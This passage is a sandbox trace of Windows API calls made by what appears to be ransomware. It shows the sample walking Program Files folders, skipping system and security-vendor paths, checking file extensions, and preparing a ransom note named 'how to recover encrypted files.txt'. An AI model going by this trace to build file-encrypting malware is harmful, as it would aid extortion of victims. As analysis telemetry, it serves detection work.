returned 7 [0056.548] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.548] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.548] GlobalUnlock (hMem=0x440004) returned 0 [0056.548] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.548] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.548] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.548] GlobalUnlock (hMem=0x440004) returned 0 [0056.548] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.548] GlobalUnlock (hMem=0x44000c) returned 0 [0056.548] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.548] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.548] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.549] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.549] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.549] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 46 [0056.549] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.549] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.549] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 15 [0056.549] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.549] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.549] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 11 [0056.549] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.549] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.549] GlobalUnlock (hMem=0x44000c) returned 0 [0056.549] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.549] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.549] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.549] GlobalUnlock (hMem=0x44000c) returned 0 [0056.549] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.549] GlobalUnlock (hMem=0x440004) returned 0 [0056.550] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 15 [0056.550] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 11 [0056.550] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 9 [0056.550] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 18 [0056.550] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 28 [0056.550] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.550] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 10 [0056.551] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 8 [0056.551] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 9 [0056.551] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Services\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\services\\") returned 0x27 [0056.551] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 13 [0056.551] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.551] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.551] GlobalUnlock (hMem=0x440004) returned 0 [0056.551] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.551] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.551] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.551] GlobalUnlock (hMem=0x440004) returned 0 [0056.551] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.551] GlobalUnlock (hMem=0x44000c) returned 0 [0056.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0056.552] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.552] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0056.552] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0056.552] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.552] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.552] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.552] GlobalUnlock (hMem=0x44000c) returned 0 [0056.552] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.552] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.552] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.552] GlobalUnlock (hMem=0x44000c) returned 0 [0056.552] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.552] GlobalUnlock (hMem=0x440004) returned 0 [0056.552] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.552] CharLowerBuffW (in: lpsz="verisign.bmp", cchLength=0xc | out: lpsz="verisign.bmp") returned 0xc [0056.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.552] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0056.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0056.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.553] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0056.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Services\\verisign.bmp", cchWideChar=51, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpUsedDefaultChar=0x0) returned 51 [0056.553] CharLowerBuffW (in: lpsz=".bmp", cchLength=0x4 | out: lpsz=".bmp") returned 0x4 [0056.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".bmp", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".bmperisign.bmp", lpUsedDefaultChar=0x0) returned 4 [0056.553] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0056.553] GetLastError () returned 0x12 [0056.553] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0056.553] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.553] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.553] GlobalUnlock (hMem=0x440004) returned 0 [0056.553] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.553] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.553] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.553] GlobalUnlock (hMem=0x440004) returned 0 [0056.553] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.553] GlobalUnlock (hMem=0x44000c) returned 0 [0056.554] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61cb8, cbMultiByte=3, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 3 [0056.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0056.554] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0056.554] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.554] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.554] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.554] GlobalUnlock (hMem=0x44000c) returned 0 [0056.554] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.554] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.554] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.554] GlobalUnlock (hMem=0x44000c) returned 0 [0056.554] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.554] GlobalUnlock (hMem=0x440004) returned 0 [0056.554] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.554] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.554] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.554] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.554] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.554] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.554] GlobalUnlock (hMem=0x440004) returned 0 [0056.554] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.554] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.554] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.554] GlobalUnlock (hMem=0x440004) returned 0 [0056.555] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.555] GlobalUnlock (hMem=0x44000c) returned 0 [0056.555] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.555] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0056.555] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.555] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.555] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.555] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.555] GlobalUnlock (hMem=0x44000c) returned 0 [0056.555] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.555] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.555] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.555] GlobalUnlock (hMem=0x44000c) returned 0 [0056.555] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.555] GlobalUnlock (hMem=0x440004) returned 0 [0056.555] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.555] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0056.555] GetLastError () returned 0x12 [0056.555] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0056.555] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0056.555] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0056.556] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0056.556] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.556] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.556] GlobalUnlock (hMem=0x440004) returned 0 [0056.556] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.556] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.556] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.556] GlobalUnlock (hMem=0x440004) returned 0 [0056.556] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.556] GlobalUnlock (hMem=0x44000c) returned 0 [0056.556] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.556] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.556] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.556] GlobalUnlock (hMem=0x44000c) returned 0 [0056.556] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.556] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.556] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.556] GlobalUnlock (hMem=0x44000c) returned 0 [0056.556] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.556] GlobalUnlock (hMem=0x440004) returned 0 [0056.556] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.556] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\Common Files\\SpeechEngines", len=0x2b | out: pbstr=0x18f444*="C:\\Program Files\\Common Files\\SpeechEngines") returned 1 [0056.556] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.556] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.557] GlobalUnlock (hMem=0x440004) returned 0 [0056.557] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.557] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.557] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.557] GlobalUnlock (hMem=0x440004) returned 0 [0056.557] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.557] GlobalUnlock (hMem=0x44000c) returned 0 [0056.557] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\\x18ꮠUÄP⏨R㯸") returned 26 [0056.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\Exchange Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@羨R罼R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.560] GetLastError () returned 0x2 [0056.560] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\\x18ꮠUÄP⏨R㯸") returned 21 [0056.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, 